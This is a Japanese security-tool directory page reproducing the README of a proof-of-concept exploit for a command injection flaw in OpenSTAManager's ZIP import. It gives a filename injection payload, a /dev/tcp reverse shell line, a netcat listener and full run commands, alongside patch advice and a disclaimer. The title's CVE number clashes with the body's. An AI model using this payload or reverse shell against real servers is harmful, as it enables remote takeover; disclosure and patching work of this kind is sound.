Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-69212 — Python poc、CVE-2025-69212 向けエクスプロイト | Kitploit
ツール/GitHubGitHub/c0gnit00/cve-2026-69212
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールペイロード開発
GitHubc0gnit00/cve-2026-69212

CVE-2026-69212

Python poc、CVE-2025-69212 向けエクスプロイト

リポジトリを見る
21ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-69212 — OpenSTAManager OS コマンドインジェクション (RCE)

CVE-2025-69212 の概念実証エクスプロイトです。これは OpenSTAManager <= 2.9.8 の OS コマンドインジェクション脆弱性であり、認証された攻撃者が悪意を持って細工された ZIP ファイルのアップロードを介してリモートコード実行を達成することを可能にします。

アドバイザリー

  • CVE: CVE-2025-69212
  • GHSA: GHSA-25fp-8w8p-mx36
  • 影響を受けるバージョン: OpenSTAManager <= 2.9.8
  • 修正バージョン: OpenSTAManager 2.9.9+
  • CVSS: 緊急

脆弱性の詳細

脆弱性は src/Util/XML.php の ~100 行目に存在し、アプリケーションがユーザー制御のファイル名をサニタイズなしでシェルの exec() 呼び出しに直接渡しています:

root@kitploit:~
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');

ZIP アーカイブが importFE_ZIP プラグイン (/actions.php) を介してアップロードされると、アプリケーションは ZIP を展開し、各 .p7m エントリのファイル名を exec() に渡します。攻撃者は、二重引用符で囲まれた引数から脱出し、任意のシェルコマンドを注入する悪意のあるファイル名を含む ZIP を作成できます。

インジェクションペイロード (ファイル名):

root@kitploit:~
invoice.p7m";<COMMAND>;echo ".p7m

結果としてのシェル実行:

root@kitploit:~
openssl smime ... -in "invoice.p7m";<COMMAND>;echo ".p7m" ...
#                                   ^^^^^^^^^^^^ injected here

注: スラッシュ / は ZipArchive::extractTo() によってパス区切り文字として扱われるため、ファイル名に直接含めることはできません。この PoC は、リバースシェルペイロードを base64 エンコードすることでこれを回避しています。


必要条件

  • Python 3.x
  • requests ライブラリ
  • 有効な OpenSTAManager の認証情報 (インポートプラグインにアクセスできる任意のロール)
  • 攻撃マシン上のリスナー (例: nc)

依存関係のインストール:

root@kitploit:~
pip install requests

使用法

root@kitploit:~
python3 CVE-2025-69212.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> --lhost <YOUR_IP> --lport <YOUR_PORT>

オプション

例

root@kitploit:~
# リスナーを起動
nc -lvnp 4444

# エクスプロイトを実行
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444

# Burp Suite 経由
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080

動作の仕組み

  1. 認証 — 提供された認証情報を使用して OpenSTAManager にログインします。
  2. ペイロードの構築 — 注入されたコマンドを含むファイル名を持つ .p7m ファイルを含む ZIP アーカイブを作成します。
  3. Base64 エンコード — リバースシェル (bash -i >& /dev/tcp/LHOST/LPORT 0>&1) は、ファイル名内のスラッシュを避けるために base64 エンコードされます。
  4. アップロード — importFE_ZIP プラグインを介して ZIP を /actions.php に POST します。
  5. 実行 — サーバーは ZIP を展開し、悪意のあるファイル名を exec() に渡し、リバースシェルを起動します。
  6. スレッド処理 — bash が HTTP 接続を開いたままにするため、アップロードはデーモンスレッドで実行されます。スクリプトは応答を待たずに正常に終了します。

修復方法

OpenSTAManager 2.9.9 以降 に更新してください。これにより、ファイル名がシェルコマンドに渡される前にサニタイズされます。

すぐにパッチを適用できない場合は、importFE_ZIP プラグインを無効にするか、/actions.php へのアクセスを信頼できるユーザーのみに制限してください。


免責事項

このツールは 認可されたセキュリティテストおよび教育目的のみ を意図しています。自分が所有しているシステム、または明示的な書面による許可を得たシステムでのみ使用してください。自分が所有していないシステムに対する不正使用は違法であり、非倫理的です。著者は、このツールの誤用または損害について一切の責任を負いません。


参考文献

  • GHSA-25fp-8w8p-mx36
  • OpenSTAManager GitHub
  • NVD - CVE-2025-69212
ツールをダウンロード
ArgumentRequiredDescription
-u, --urlYesターゲットのベース URL (例: http://target.htb)
-U, --usernameYesOpenSTAManager ユーザー名
-P, --passwordYesOpenSTAManager パスワード
--lhostYesリバースシェル用のあなたの IP アドレス
--lportYesリバースシェル用のあなたのリスニングポート
--proxyNoHTTP プロキシ (例: http://127.0.0.1:8080)